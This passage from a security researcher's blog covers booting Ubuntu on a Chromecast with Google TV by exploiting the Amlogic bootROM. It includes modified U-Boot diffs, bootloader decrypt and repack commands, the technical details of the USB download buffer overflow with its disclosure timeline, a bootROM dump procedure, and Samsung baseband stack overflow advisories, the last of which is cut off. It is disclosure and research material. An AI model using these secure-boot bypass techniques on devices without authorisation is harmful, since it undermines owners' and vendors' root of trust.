<span class="gi">+ "echo Sleep 10 secs before USB DRIVE boot from ${loadaddr} ...; "\</span>
<span class="gi">+ "sleep 10; "\</span>
<span class="gi">+ "usb start 0; "\</span>
<span class="gi">+ "usb tree; "\</span>
<span class="gi">+ "usb info; "\</span>
<span class="gi">+ "fatload usb 0 ${loadaddr} s905_autoscript;"\</span>
<span class="gi">+ "setenv autoscript_source usb; "\</span>
<span class="gi">+ "autoscr ${loadaddr};"\</span>
"\0"\
"upgrade_check=" \
"echo upgrade_step=${upgrade_step}; "\
</pre></div>
<p>By loading and running a script from an external media, we have the possibility to change the boot script without recompiling U-Boot or repacking the <em>bootloader</em> image.</p>
<p>Just like other bootloaders in the chain, U-Boot detects if it's been loaded from USB. In such case, U-Boot skips the normal boot sequence and starts an USB recovery interface (a.k.a. USB burning mode) instead. We have to disable that behavior to ensure the boot sequence we just modified is run :</p>
<div class="highlight"><pre><span></span><span class="gd">--- sabrina-uboot/board/amlogic/sm1_sabrina_v1/sm1_sabrina_v1.c</span>
<span class="gi">+++ sabrina-uboot/board/amlogic/sm1_sabrina_v1/sm1_sabrina_v1.c</span>
<span class="gu">@@ -583,13 +583,6 @@ void set_i2c_ao_pinmux(void)</span>
int board_init(void)
{
sys_led_init();
<span class="gd">- //Please keep CONFIG_AML_V2_FACTORY_BURN at first place of board_init</span>
<span class="gd">- //As NOT NEED other board init If USB BOOT MODE</span>
<span class="gd">-#ifdef CONFIG_AML_V2_FACTORY_BURN</span>
<span class="gd">- if ((0x1b8ec003 != readl(P_PREG_STICKY_REG2)) && (0x1b8ec004 != readl(P_PREG_STICKY_REG2))) {</span>
<span class="gd">- aml_try_factory_usb_burning(0, gd->bd);</span>
<span class="gd">- }</span>
<span class="gd">-#endif// #ifdef CONFIG_AML_V2_FACTORY_BURN</span>
#ifdef CONFIG_USB_XHCI_AMLOGIC_V2
board_usb_pll_disable(&g_usb_config_GXL_skt);
board_usb_init(&g_usb_config_GXL_skt,BOARD_USB_MODE_HOST);
</pre></div>
<p>Nevertheless, this recovery interface can still be useful in some cases, so we repurpose the physical button <em>GPIOAO_10</em> :</p>
<div class="highlight"><pre><span></span><span class="gd">--- sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h</span>
<span class="gi">+++ sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h</span>
<span class="gu">@@ -397,9 +396,7 @@</span>
"upgrade_key=" \
"if gpio input GPIOAO_10; then " \
"echo GPIOAO_10 pressed;" \
<span class="gd">- "if usb start 0; then " \</span>
<span class="gd">- "run recovery_from_udisk;" \</span>
<span class="gd">- "fi;" \</span>
<span class="gi">+ "update 0;" \</span>
"fi;" \
"\0"
</pre></div>
<p>When the physical button is hold while U-Boot starts, the USB recovery interface is started by executing <a href="proxy.php?url=https://github.com/frederic/sabrina-uboot/blob/048ce71f67ac2622dc973f86a944679fbc026374/drivers/usb/gadget/v2_burning/v2_usb_tool/optimus_core.c#L77">U-Boot command "update"</a>.</p>
<p><a href="proxy.php?url=https://github.com/frederic/sabrina-uboot">U-Boot source tree with these modifications</a> is available on GitHub, as well as building instructions in the <a href="proxy.php?url=https://github.com/frederic/sabrina-uboot/blob/QTS2.200918.025-USBboot/README.md">README file</a>. A <a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/bootloader/u-boot.bin">prebuilt image</a> is also available.</p>
<h1>Repacking bootloader with custom BL33</h1>
<p>Essentially, we just need to replace the original BL33 image with the custom one in the <em>bootloader</em> partition. However in practice, it's a trickier task than it appears.
First, the <em>bootloader</em> partition is encrypted (except BL2). Then, its format is proprietary. Last, BL33 image is compressed using LZ4 algorithm.</p>
<p>Ideally, we would write a complete (un)packing tool with encryption/compression support for the <em>bootloader</em> partition.
It didn't happen. Instead, we'll hack it quick 'n dirty. The following steps are implemented in script <a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/scripts/repack_bootloader.sh">repack_bootloader.sh</a>.</p>
<h2>AES decryption</h2>
<p>By analyzing the bootROM, we learn that the <em>bootloader</em> partition is encrypted with AES-256-CBC and the key is stored at address 0xFFFE0020. This key can be dumped using the exploitation tool <a href="proxy.php?url=https://github.com/frederic/amlogic-usbdl">amlogic-usbdl</a> with the <a href="proxy.php?url=https://github.com/frederic/amlogic-usbdl/blob/main/payloads/memdump_over_usb.c">memdump_over_usb</a> payload. We can then use <a href="proxy.php?url=https://wiki.openssl.org/index.php/Enc">OpenSSL</a> to decrypt the <em>bootloader</em> :</p>
<div class="highlight"><pre><span></span>$ openssl enc -aes-256-cbc -nopad -d -K <span class="m">0000000000000000000000000000000000000000000000000000000000000000</span> -iv <span class="m">00000000000000000000000000000000</span> -in bootloader.enc -out bootloader.img
</pre></div>
<h2>LZ4 compression</h2>
<p>We compress our custom BL33 image using the official tool <a href="proxy.php?url=https://github.com/khadas/u-boot/blob/khadas-vims-pie/fip/g12a/aml_encrypt_g12a">aml_encrypt_g12a</a> provided by Khadas.</p>
<div class="highlight"><pre><span></span>$ aml_encrypt_g12a --bl3sig --input u-boot.bin --compress lz4 --output u-boot.enc --level v3 --type bl33
</pre></div>
<h2>dd editing</h2>
<p>Compressed BL33 image starts with a magic value <strong>LZ4C</strong>. Thanks to this marker, we can identify the BL33 image offset in the <em>bootloader</em> partition, and simply overwrite it with our custom, compressed BL33 <em>u-boot.enc</em> :</p>
<div class="highlight"><pre><span></span>$ <span class="nv">IN_OFFSET</span><span class="o">=</span><span class="sb">`</span>grep --byte-offset --only-matching --text LZ4C u-boot.enc <span class="p">|</span> head -1 <span class="p">|</span> cut -d: -f1<span class="sb">`</span>
$ <span class="nv">OUT_OFFSET</span><span class="o">=</span><span class="sb">`</span>grep --byte-offset --only-matching --text LZ4C bootloader.img <span class="p">|</span> head -1 <span class="p">|</span> cut -d: -f1<span class="sb">`</span>
$ dd <span class="k">if</span><span class="o">=</span>u-boot.enc <span class="nv">of</span><span class="o">=</span>bootloader.img <span class="nv">skip</span><span class="o">=</span><span class="nv">$IN_OFFSET</span> <span class="nv">seek</span><span class="o">=</span><span class="nv">$OUT_OFFSET</span> <span class="nv">bs</span><span class="o">=</span><span class="m">1</span> <span class="nv">conv</span><span class="o">=</span>notrunc
</pre></div>
<h2>AES encryption</h2>
<p>Finally, the modified <em>bootloader</em> image is encrypted back using OpenSSL again.</p>
<h1>Preparing bootable USB flash drive</h1>
<p>With our customized bootchain ready to boot from USB, it's time to prepare the OS on an USB flash drive.</p>
<p>First, we write a <a href="proxy.php?url=https://drive.google.com/file/d/1Xw8iReDfNtXyDvh0qtqMKMYjw7HsCpeI/view?usp=sharing">preinstalled image of Ubuntu for ARM64</a> on the USB flash drive :</p>
<div class="highlight"><pre><span></span>$ dd <span class="k">if</span><span class="o">=</span>ubuntu-20.10-preinstalled-desktop-arm64+raspi.img <span class="nv">of</span><span class="o">=</span>/dev/<device> <span class="nv">bs</span><span class="o">=</span>1M
</pre></div>
<p>Then, we add few files in <em>boot</em> partition :</p>
<ul>
<li><a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/rootfs/s905_autoscript">s905_autoscript</a> : compiled boot script (<a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/rootfs/s905_autoscript.cmd">source</a>)</li>
<li><a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/rootfs/env.txt">env.txt</a> : additional U-Boot environment variables</li>
<li><a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/rootfs/dtb.img">dtb.img</a> : Device Tree Blob for CCwGTV (<a href="proxy.php?url=https://github.com/frederic/sabrina-linux">source</a>)</li>
<li><a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/rootfs/uInitrd">uInitrd</a> : original ramdisk from Ubuntu (<a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/scripts/repack_initrd.sh">repacked for U-Boot</a>)</li>
<li><a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/blob/main/rootfs/zImage">zImage</a> : Linux kernel image for CCwGTV (<a href="proxy.php?url=https://github.com/frederic/sabrina-linux">source</a>)</li>
</ul>
<p>Precompiled files and detailed instructions are <a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os#readme">available on GitHub</a>.</p>
<h1>Booting Ubuntu from USB</h1>
<p>We can finally boot Ubuntu from the USB flash drive by following these steps :</p>
<ul>
<li>Connect target to host via USB to exploit bootROM and run modified BL2</li>
<li>Send over USB the custom <em>bootloader</em> image (which includes the custom U-Boot image)</li>
<li>Connect USB flash drive that contains boot script, kernel image and the rest of the OS.</li>
</ul>
<p>Since CCwGTV only offers a single USB-C port, we also need an <a href="proxy.php?url=https://intpw.com/collections/hub/products/intpw-usb-c-to-hdmi-adapter-for-nintendo-switch">USB-C adapter</a> that splits power and data, so we can connect simultaneously a power source and an USB device.</p>
<p>Detailed instructions are available in the <a href="proxy.php?url=https://github.com/frederic/sabrina-custom-os/">README file on GitHub, along with all the resources (bootloaders/tools/scripts)</a>.</p>
<h1>Conclusion</h1>
<p>Due to a bootROM vulnerability, the entire software stack of CCwGTV can be replaced. This means booting an alternative OS like Ubuntu is theoretically possible. But in practice, replacing proprietary software components (like bootloaders or TEE) requires significant engineering efforts, especially without debugging capabilities.</p>
<p>Instead, we preferred to reuse as many original software components as possible, which we minimally modified to boot a custom OS.</p>
<p>As explained in the previous blog post, the <a href="proxy.php?url=https://fredericb.info/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html">vulnerability has since been mitigated</a> with a software update. It doesn't fix the bug, as bootROM is read-only. But, luckily, the SoC allows OEMs to restrict access to the USB download mode by burning <a href="proxy.php?url=https://en.wikipedia.org/wiki/Efuse">eFuses</a>. This software update burns eFuses to make the vulnerable code inaccessible to attackers.</p>
<p>However, once in possession of a vulnerable device (unpatched eFuses), attackers can modify software updates before applying them to neutralize the eFuse patch.
Therefore, they can run an official up-to-date OS while keeping the vulnerable USB download mode accessible for exploitation.</p>
<p>This issue is serious for devices like CCwGTV that are supposed to guarantee a Trusted Execution Environment for DRM. Once root-of-trust has been compromised, restoring it is a difficult challenge for OEMs.</p>amlogic-usbdl : unsigned code loader for Amlogic BootROM2021-02-10T00:00:00-08:002021-02-10T00:00:00-08:00Frédérictag:fredericb.info,2021-02-10:/2021/02/amlogic-usbdl-unsigned-code-loader-for-amlogic-bootrom.html<p>In previous posts, we explained how to <a href="proxy.php?url=https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html">reverse the USB stack in the Exynos bootROM</a>, which led to the <a href="proxy.php?url=https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html">discovery of a critical bug</a>.
After reproducing this methodology on <a href="proxy.php?url=https://fredericb.info/2021/02/dump-amlogic-s905d3-bootrom-from-khadas-vim3l-board.html">Amlogic bootROM recently dumped</a>, a similar vulnerability has been discovered in the USB stack that can be exploited to run arbitrary …</p><p>In previous posts, we explained how to <a href="proxy.php?url=https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html">reverse the USB stack in the Exynos bootROM</a>, which led to the <a href="proxy.php?url=https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html">discovery of a critical bug</a>.
After reproducing this methodology on <a href="proxy.php?url=https://fredericb.info/2021/02/dump-amlogic-s905d3-bootrom-from-khadas-vim3l-board.html">Amlogic bootROM recently dumped</a>, a similar vulnerability has been discovered in the USB stack that can be exploited to run arbitrary code.</p>
<p>The following targets are known to be vulnerable :</p>
<ul>
<li><a href="proxy.php?url=https://www.khadas.com/vim3l">Khadas VIM3L</a> (S905D3) (Secure boot is disabled anyway)</li>
<li><a href="proxy.php?url=https://store.google.com/us/product/chromecast_google_tv">Chromecast with Google TV</a> (S905D3G)</li>
</ul>
<p>The difference between S905D3 & S905D3<strong>G</strong> is not clear at this moment; it may be related to the <a href="proxy.php?url=https://www.riscure.com/services/riscure-assurance-for-premium-content-registry/">gold certification</a> this component received for <em>Premium Content</em> processing.</p>
<p><a href="proxy.php?url=https://github.com/frederic/amlogic-usbdl">amlogic-usbdl, an open source tool available on Github</a>, exploits this vulnerability to load and run unsigned code.</p>
<p><img alt="Cash 4 gold" src="proxy.php?url=https://fredericb.info/blog/aml-bootrom/c4g.gif" style="display: block;margin-left: auto;margin-right: auto;"></p>
<h1>Vulnerability details</h1>
<h2>USB Download protocol</h2>
<p>Amlogic BootROM implements a custom USB protocol that allows USB host to execute a <a href="proxy.php?url=https://github.com/khadas/u-boot/blob/khadas-vims-pie/drivers/usb/gadget/aml_tiny_usbtool/usb_pcd.h">set of commands</a> on target device i.e. read/write memory, run code, read/write registers. A common use-case for this protocol is to upload a bootloader and run it.
On Secure Boot-enabled devices like Chromecast, a signature check is performed first before executing any uploaded code.</p>
<p>Among these commands, USB host can use <a href="proxy.php?url=https://github.com/khadas/u-boot/blob/0bfb38ab1e9ab34585ded5b8c921fbe12361f5bf/drivers/usb/gadget/aml_tiny_usbtool/usb_pcd.h#L40">AM_REQ_WR_LARGE_MEM</a> to upload data into device memory.</p>
<p>First, USB host sends an USB CONTROL transfer with some infos regarding the payload :</p>
<div class="highlight"><pre><span></span>URB setup
bmRequestType: 0x40 : Direction: Host-to-device - Type: Vendor (0x2) - Recipient: Device (0x00)
bRequest: 17 (0x11) : Write memory command AM_REQ_WR_LARGE_MEM
wValue: 0x1000 : size of each BULK transfer
wIndex: 16 (0x0010) : count of BULK transfers
wLength: 16 : size of data in this CONTROL transfer
Data Fragment: 0000faff000010000000000000000000
</pre></div>
<p>The data fragment follows the following structure :</p>
<div class="highlight"><pre><span></span><span class="k">struct</span> <span class="n">dldata_s</span> <span class="p">{</span>
<span class="n">u_int32_t</span> <span class="n">addr</span><span class="p">;</span> <span class="c1">// address where to write payload i.e. 0xfffa0000</span>
<span class="n">u_int32_t</span> <span class="n">size</span><span class="p">;</span> <span class="c1">// payload size i.e. 0x00010000</span>
<span class="n">u_int32_t</span> <span class="n">unk0</span><span class="p">;</span> <span class="c1">// unused</span>
<span class="n">u_int32_t</span> <span class="n">unk1</span><span class="p">;</span> <span class="c1">// unused</span>
<span class="p">}</span> <span class="n">dldata</span><span class="p">;</span>
</pre></div>
<p>Parameters <em>addr</em> & <em>size</em> specify where in device memory data should be written. BootROM checks these parameters to ensure that uploaded data will fit into the download buffer [0xfffa0000-0xfffaffff] (0x10000 bytes maximum).</p>
<p>Then, the payload is uploaded by simply sending <em>wIndex</em> BULK transfers of size <em>wValue</em> each.</p>
<h2>Unfortunate bugs conjunction</h2>
<p>Although the overall logic of command <strong>AM_REQ_WR_LARGE_MEM</strong> looks simple and fine, there're still few peculiar details :
size of uploaded data is defined in two different ways:</p>
<ul>
<li><strong>dldata.size</strong> : exact size of uploaded data</li>
<li><strong>wValue</strong> * <strong>wIndex</strong> : size of each BULK transfer multiplied by the count of BULK transfers</li>
</ul>
<p>While the first one <strong>dldata.size</strong> is checked, the second one isn't :
size of each BULK transfer <em>wValue</em> is maxed out at 0x1000, but the <strong>count of BULK transfers <em>wIndex</em> is not checked</strong>.</p>
<p>As a consequence, an attacker can submit more BULK transfers than required to fill the download buffer.
However, the BULK transfer handler tracks the total size of received data to ensure not exceeding the expected size <strong>dldata.size</strong>. So an invalid <strong>wIndex</strong> value is not sufficient to overflow the download buffer.</p>
<p>Nevertheless, a second bug makes exploitation trivial : after each BULK transfer, <strong>the download buffer pointer (initially set to 0xfffa0000) is incremented by the expected transfer size <em>wValue</em>, regardless of the actual size of data received</strong>.</p>
<p>So it's time to reuse that empty transfer trick we already used in the Exynos bootROM exploit.
By sending empty BULK transfers, <strong>an attacker can manipulate the download buffer pointer to reach critical bootROM structures</strong>, like stack memory (below 0xfffe3800).
For example, if the attacker sends 0x43 empty transfers, with <em>wValue</em> = 0x1000 : (0xfffa0000 + (0x1000 * 0x43) = <strong>0xfffe3000</strong>, which is stack bottom address.</p>
<p>Once download buffer pointer has been manipulated, a <strong>last, non-empty BULK transfer is sent to overwrite memory</strong>.</p>
<p>Ultimately, these bugs lead to arbitrary code execution at bootROM level, even before the data signature check takes place.</p>
<h1>Conclusion</h1>
<p>USB download feature in Amlogic bootROM only runs signed bootloader images (when Secure Boot is enabled).
However, few bugs in the USB stack allow an attacker with physical access to corrupt bootROM RAM.
Ultimately, an attacker can execute arbitrary code in Secure World, at very early boot stage.</p>
<p>Despite these bugs, the overall code is quite robust for a BL1-kind software. It implements several hardening techniques :</p>
<ul>
<li>time-constant memory compare : to resist timing attacks ?</li>
<li>complex return codes (i.e. success code is 0xa8df61e7 instead of one or zero) : to resist bit-flip attacks ?</li>
<li>random execution delays : to resist glitching attacks ?</li>
<li>mysterious recurrent hash check that immediately reboots if failed : control flow integrity ?</li>
</ul>
<p>Amlogic bootROM also supports a password protection. This can be used to restrict access to the USB download feature, and thus mitigate this vulnerability.</p>
<h1>Timeline</h1>
<ul>
<li>2020-10-19 <a href="proxy.php?url=https://gist.github.com/frederic/0246dde2ecbb8c35f7bb61e98002ceb0">Bug discovery</a></li>
<li>2020-10 Vulnerability disclosed to Google</li>
<li><s>2020-11-05 Google shared the report with Amlogic</s></li>
<li>2020-12 Password mitigation enabled in factory for new Chromecast devices</li>
<li>2021-02-08 Password mitigation enabled by software update for Chromecast devices</li>
<li>2021-02-10 Public disclosure</li>
<li>2021-02-12 CVE-2021-0467 assigned to this issue</li>
<li>2021-02-15 Google retracts the date they communicated with Amlogic</li>
<li>2021-05-01 Vulnerability rated Critical in the <a href="proxy.php?url=https://source.android.com/security/bulletin/2021-05-01">Android Security Bulletin—May 2021</a></li>
</ul>Dump Amlogic S905D3 BootROM from Khadas VIM3L board2021-02-09T00:00:00-08:002021-02-09T00:00:00-08:00Frédérictag:fredericb.info,2021-02-09:/2021/02/dump-amlogic-s905d3-bootrom-from-khadas-vim3l-board.html<p>This post describes how to dump bootROM from <a href="proxy.php?url=https://www.amlogic.com/#Products/392/index.html">Amlogic S905D3 SoC</a> using <a href="proxy.php?url=https://www.khadas.com/vim3l">Khadas VIM3L board</a>.
Since this board doesn't use Secure Boot, we can execute custom code in Secure World (a.k.a TrustZone) without exploiting any vulnerability.
In addition, the board exposes an UART connector, which is convenient for …</p><p>This post describes how to dump bootROM from <a href="proxy.php?url=https://www.amlogic.com/#Products/392/index.html">Amlogic S905D3 SoC</a> using <a href="proxy.php?url=https://www.khadas.com/vim3l">Khadas VIM3L board</a>.
Since this board doesn't use Secure Boot, we can execute custom code in Secure World (a.k.a TrustZone) without exploiting any vulnerability.
In addition, the board exposes an UART connector, which is convenient for communicating with baremetal code running on target.</p>
<p><img _="," alt="Collect bootroms" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/Collect_bootroms.png" style="display: block;margin-left: auto;margin-right: auto;" width="800px"></p>
<h1>Ressources</h1>
<p><img alt="Khadas VIM3L" src="proxy.php?url=https://fredericb.info/blog/aml-bootrom/vim3l.png" style="display: block;margin-left: auto;margin-right: auto;"></p>
<p>The following resources were abused to complete this project :</p>
<ul>
<li><a href="proxy.php?url=https://www.khadas.com/vim3l">VIM3L board</a> : SBC based on Amlogic S905D3 System-On-Chip.</li>
<li>USB to TTL Converter : to enable communication between host and target using UART port.</li>
<li><a href="proxy.php?url=https://dl.khadas.com/Hardware/VIM3/Datasheet/S905D3_datasheet_0.2_Wesion.pdf">S905D3 SoC datasheet</a> : Khadas published a datasheet for S905D3. It contains a memory map, including the bootROM address.</li>
<li><a href="proxy.php?url=https://github.com/khadas/u-boot">khadas-uboot</a> : U-Boot code released by Khadas contains a signing tool to package a bootloader image.</li>
<li><a href="proxy.php?url=https://github.com/khadas/utils">khadas-utils</a> : Khadas released a tool to communicate with the bootROM via USB.</li>
</ul>
<h1>Procedure</h1>
<p>In order to dump the bootROM, we need to execute custom code in Secure World.</p>
<p>On most firmwares provided by Khadas, U-Boot shell is accessible via UART port. However, U-Boot runs in Non-Secure World (a.k.a. Normal World) and therefore isn't helpful.</p>
<p>Instead, we need to execute our code earlier in the boot chain.
Since Secure Boot is disabled on this board, we could modify the <a href="proxy.php?url=https://github.com/ARM-software/arm-trusted-firmware/blob/master/docs/design/firmware-design.rst">BL2 bootloader</a> stored in flash memory.
However, there's a more convienent solution : the bootROM implements a <a href="proxy.php?url=https://docs.khadas.com/vim3/UpgradeViaUSBCable.html">feature to load BL2 bootloader via the USB Type-C port</a>. This in-RAM solution has the advantage of not altering the flash memory.</p>
<p>Finally, we also take advantage of the UART port to transfer data to our host.</p>
<h2>Code</h2>
<p>The code to dump the bootROM is straightforward : each byte is read then sent to UART port.</p>
<p>The <a href="proxy.php?url=https://dl.khadas.com/Hardware/VIM3/Datasheet/S905D3_datasheet_0.2_Wesion.pdf">datasheet published by Khadas</a> indicates that bootROM memory is at address <strong>[0xFFFF0000-0xFFFFFFFF]</strong> (region named <em>a53_rom</em>).
To send data to UART port, we <a href="proxy.php?url=https://github.com/khadas/u-boot/blob/khadas-vims-pie/arch/arm/cpu/armv8/g12a/firmware/scp_task/uart.c">reuse open-source code from U-Boot</a>.</p>
<p>Early tests revealed an issue : UART data transfers would stop inconsistently before completion, and the board would then reset.
This issue was caused by a <a href="proxy.php?url=https://en.wikipedia.org/wiki/Watchdog_timer">watchdog</a> timeout. U-Boot source repository contains the code to <a href="proxy.php?url=https://github.com/khadas/u-boot/blob/khadas-vims-pie/arch/arm/cpu/armv8/g12a/watchdog.c">reset the watchdog</a>, which solves that issue.</p>
<script src="proxy.php?url=https://gist.github.com/frederic/e080d28a8accf58a779b29cc423b01fa.js"></script>
<h2>Build</h2>
<p>The code is built using GNU C cross-compiler for the arm64 architecture (packages <strong>gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu</strong> on Debian) :</p>
<div class="highlight"><pre><span></span>$ aarch64-linux-gnu-gcc -O3 -nostdlib -Wl,--build-id<span class="o">=</span>none -o S905D3_dump_bootrom.elf S905D3_dump_bootrom.c
$ aarch64-linux-gnu-objcopy -O binary -j .text S905D3_dump_bootrom.elf S905D3_dump_bootrom.bin
</pre></div>
<p>Then, the binary is packaged as regular BL2 image for this target using the <strong>aml_encrypt_g12a</strong> tool from <a href="proxy.php?url=https://github.com/khadas/u-boot">khadas-uboot</a> repository: </p>
<div class="highlight"><pre><span></span>$ ./khadas-uboot/fip/g12a/aml_encrypt_g12a --bl2sig --input ./S905D3_dump_bootrom.bin --output ./S905D3_dump_bootrom.img
</pre></div>
<h2>Connect</h2>
<p>Khadas documentation explains how to <a href="proxy.php?url=https://docs.khadas.com/vim3/SetupSerialTool.html">connect UART port</a> on VIM3L board. On host side, we use <em>minicom</em> software to communicate with this port :</p>
<div class="highlight"><pre><span></span>$ sudo minicom -D /dev/ttyUSB0
</pre></div>
<p>Then, we boot the board in <strong>USB Upgrade mode</strong> (a.k.a. TST mode or USB Download mode) as <a href="proxy.php?url=https://docs.khadas.com/vim3/HowtoBootIntoUpgradeMode.html#TST-Mode-Recommended">explained in Khadas documentation</a>. In <em>minicom</em> console, we can see :</p>
<div class="highlight"><pre><span></span>SM1:BL:511f6b:81ca2f<span class="p">;</span>FEAT:A0F83180:20282000<span class="p">;</span>POC:D<span class="p">;</span>RCY:0<span class="p">;</span>USB:0<span class="p">;</span>
</pre></div>
<p>This string ending with <em>USB:0;</em> means the board has started in USB Upgrade mode.</p>
<p>On the host side, we see a new USB device :</p>
<div class="highlight"><pre><span></span>[10504.840173] usb 1-4.3.1: new high-speed USB device number 16 using xhci_hcd
[10504.979469] usb 1-4.3.1: New USB device found, idVendor=1b8e, idProduct=c003, bcdDevice= 0.20
[10504.979495] usb 1-4.3.1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[10504.979514] usb 1-4.3.1: Product: GX-CHIP
[10504.979525] usb 1-4.3.1: Manufacturer: Amlogic
</pre></div>
<p>In <em>minicom</em>, we use the capture feature (CTRL-A L) to save data sent by our program into a file <em>minicom.cap</em>.</p>
<h2>Run</h2>
<p>Our code is uploaded and run on the board using the <strong>update</strong> tool from <a href="proxy.php?url=https://github.com/khadas/utils">khadas-utils</a> repository.</p>
<div class="highlight"><pre><span></span>$ ./khadas-utils/aml-flash-tool/tools/linux-x86/update write ./S905D3_dump_bootrom.img 0xfffa0000
..
Transfer Complete! total size is <span class="m">65536</span> Bytes
$ ./khadas-utils/aml-flash-tool/tools/linux-x86/update run 0xfffa0000
<span class="o">[</span>update<span class="o">]</span>Run at Addr fffa0000
AmlUsbRunBinCode:ram_addr<span class="o">=</span>fffa0000
</pre></div>
<p>In <em>minicom</em> console, we received the bootROM dump sent by our code :</p>
<div class="highlight"><pre><span></span>e0031faae1031faae2031faae3031faae4031faae5031faae6031faae7031faae8031fa
ae9031faaea031faaeb031faaec031faaed031faaee031faaef031faaf0031faaf1031f
aaf2031faaf3031faaf4031faaf5031faaf6031faaf7031faaf8031faaf9031faafa031
<span class="o">[</span>...<span class="o">]</span>
</pre></div>
<p>Since the dump is encoded in hexadecimal representation, the last step is to convert it back to binary :</p>
<div class="highlight"><pre><span></span>$ cat minicom.cap <span class="p">|</span> xxd -r -p > VIM3L.bootrom.bin
$ sha1sum VIM3L.bootrom.bin
5de02d2958d4d7214b28521239ec9b63fe9a2dbe VIM3L.bootrom.bin
$ wc -c VIM3L.bootrom.bin
<span class="m">65536</span> VIM3L.bootrom.bin
$ strings -13 VIM3L.bootrom.bin
auth failed, reboot...
511f6b60cfd40c6
ken.amlogic.com
<span class="m">03</span>/26/19_12:20:42
gcc version <span class="m">4</span>.8
511f6b60cfd40c6
INDXCHIPOPS_ROMVfb_e1
FAILkey error
FAILkey len error
FAILmissing var
max-download-size
FAILmissing var!
FAILUnkonw chipinfo id
FAILVariable not implemented
FAILdata invalid size
FAILdata too large
FAILkey_len error
FAILunknow <span class="nb">command</span>
New World Cup
usb_dnl_fastboot
</pre></div>
<p>The strings in the bootROM dump reveal that Fastboot protocol is implemented (different protocol than the one we just used to upload our code).</p>SVE-2019-13963 : Remote stack overflow in Samsung baseband caused by malformed IMMEDIATE ASSIGNMENT message2020-12-07T00:00:00-07:002020-12-07T00:00:00-07:00Frédérictag:fredericb.info,2020-12-07:/2020/12/sve-2019-13963-remote-stack-overflow-in-samsung-baseband-caused-by-malformed-immediate-assignment-message.html<h1>Description</h1>
<p>When Samsung Shannon baseband receives message IMMEDIATE ASSIGNMENT (9.1.18 in <a href="proxy.php?url=https://www.etsi.org/deliver/etsi_gts/04/0408/05.03.00_60/gsmts_0408v050300p.pdf">GSM/04.08</a>) from network, the length of the Mobile Allocation IE (GSM/04.08 10.5.2.21) is not properly checked.</p>
<p><img alt="GSM/04.08 IMMEDIATE ASSIGNMENT message" src="proxy.php?url=https://fredericb.info/blog/SVE-2019-13963/gsm_imm-assign.png" width="700px"></p>
<p>Mobile allocation data is directly copied to a buffer on the stack without checking …</p><h1>Description</h1>
<p>When Samsung Shannon baseband receives message IMMEDIATE ASSIGNMENT (9.1.18 in <a href="proxy.php?url=https://www.etsi.org/deliver/etsi_gts/04/0408/05.03.00_60/gsmts_0408v050300p.pdf">GSM/04.08</a>) from network, the length of the Mobile Allocation IE (GSM/04.08 10.5.2.21) is not properly checked.</p>
<p><img alt="GSM/04.08 IMMEDIATE ASSIGNMENT message" src="proxy.php?url=https://fredericb.info/blog/SVE-2019-13963/gsm_imm-assign.png" width="700px"></p>
<p>Mobile allocation data is directly copied to a buffer on the stack without checking its size. This stack overflow can lead to remote arbitrary code execution in the Shannon modem.</p>
<h1>CVSS Version 3 Metrics</h1>
<ul>
<li>Attack Vector (AV): Adjacent (A)</li>
<li>Attack Complexity (AC): Low (L)</li>
<li>Privileges Required (PR): None (N)</li>
<li>User Interaction (UI): None (N)</li>
<li><a href="proxy.php?url=https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">Overall CVSS Score: 8.8</a></li>
</ul>
<h1>Affected Versions</h1>
<p>Samsung smartphones based on Android N(7.x), O(8.x), Go(8.1), P(9.0), Go(9.0) with Exynos chipsets.</p>
<h1>Solution</h1>
<p>Samsung security update of April 2019 fixes this vulnerability.</p>
<h1>Timeline</h1>
<ul>
<li>2019-02-05 Privately reported to Samsung</li>
<li>2019-04-02 Bug fixed in Samsung Bulletin <a href="proxy.php?url=https://security.samsungmobile.com/securityUpdate.smsb">SMR-APR-2019</a></li>
</ul>Remote stack overflow in Samsung baseband caused by malformed GMM ATTACH ACCEPT message2020-11-30T00:00:00-07:002020-11-30T00:00:00-07:00Frédérictag:fredericb.info,2020-11-30:/2020/11/remote-stack-overflow-in-samsung-baseband-caused-by-malformed-gmm-attach-accept-message.html<h1>Description</h1>
<p>When Samsung Shannon baseband receives message GMM ATTACH ACCEPT (9.4.2 in <a href="proxy.php?url=https://www.etsi.org/deliver/etsi_ts/124000_124099/124008/14.04.00_60/ts_124008v140400p.pdf">TS 24.008</a>) from network,
the minimum length for MS Identity IE (10.5.1.4) is not properly checked.</p>
<p><img alt="TS 24.008 GMM ATTACH ACCEPT message" src="proxy.php?url=https://fredericb.info/blog/Shannon_MS_ID/gmm_attach_accept.png" width="700px"></p>
<p>MS Identity (IEI 0x23) length is decremented without prior check. If this value is zero, a …</p><h1>Description</h1>
<p>When Samsung Shannon baseband receives message GMM ATTACH ACCEPT (9.4.2 in <a href="proxy.php?url=https://www.etsi.org/deliver/etsi_ts/124000_124099/124008/14.04.00_60/ts_124008v140400p.pdf">TS 24.008</a>) from network,
the minimum length for MS Identity IE (10.5.1.4) is not properly checked.</p>
<p><img alt="TS 24.008 GMM ATTACH ACCEPT message" src="proxy.php?url=https://fredericb.info/blog/Shannon_MS_ID/gmm_attach_accept.png" width="700px"></p>
